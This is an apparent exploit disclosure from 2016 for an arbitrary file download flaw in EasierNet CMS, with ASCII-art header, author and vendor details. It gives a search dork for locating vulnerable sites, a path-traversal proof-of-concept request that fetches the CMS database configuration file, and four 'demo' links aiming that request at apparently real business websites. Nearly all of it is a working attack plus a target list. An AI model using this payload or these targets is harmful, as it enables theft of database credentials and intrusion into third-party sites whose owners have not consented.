[+] Date: [3-8-2016] _________________________________________________ /| | | || | Title: Arbitrary file download - EasierNet CMS | .----|-----,| Vendor: http://www.easiernet.com.br | || || ==|| Autor: Guillermo Garcia Marcos | .-----'--'| ==|| Dork : inurl:sele.php intext:EasierNet | |)- ~| ||_________________________________________________| | ___ | |____...==..._ >______________________________| [_/.-."--"-------- //.-. .-.\/ |/ \ .-. .-. // ( o )`==="""""""""`( o )( o ) o `( o )( o )` '-' '-' '-' '-' '-' [-] Arbitrary file download PoC: domaindotcom/admin/include/download.php?path=../config/&file=database.php [+] Demo: http://www.negociosantigos.com.br/admin/include/download.php?path=../config/&file=database.php http://www.buffetcicareli.com.br/admin/include/download.php?path=../config/&file=database.php http://www.ruadosmoveiscampinas.com.br/admin/include/download.php?path=../config/&file=database.php http://moveisemcampinas.com.br/admin/include/download.php?path=../config/&file=database.php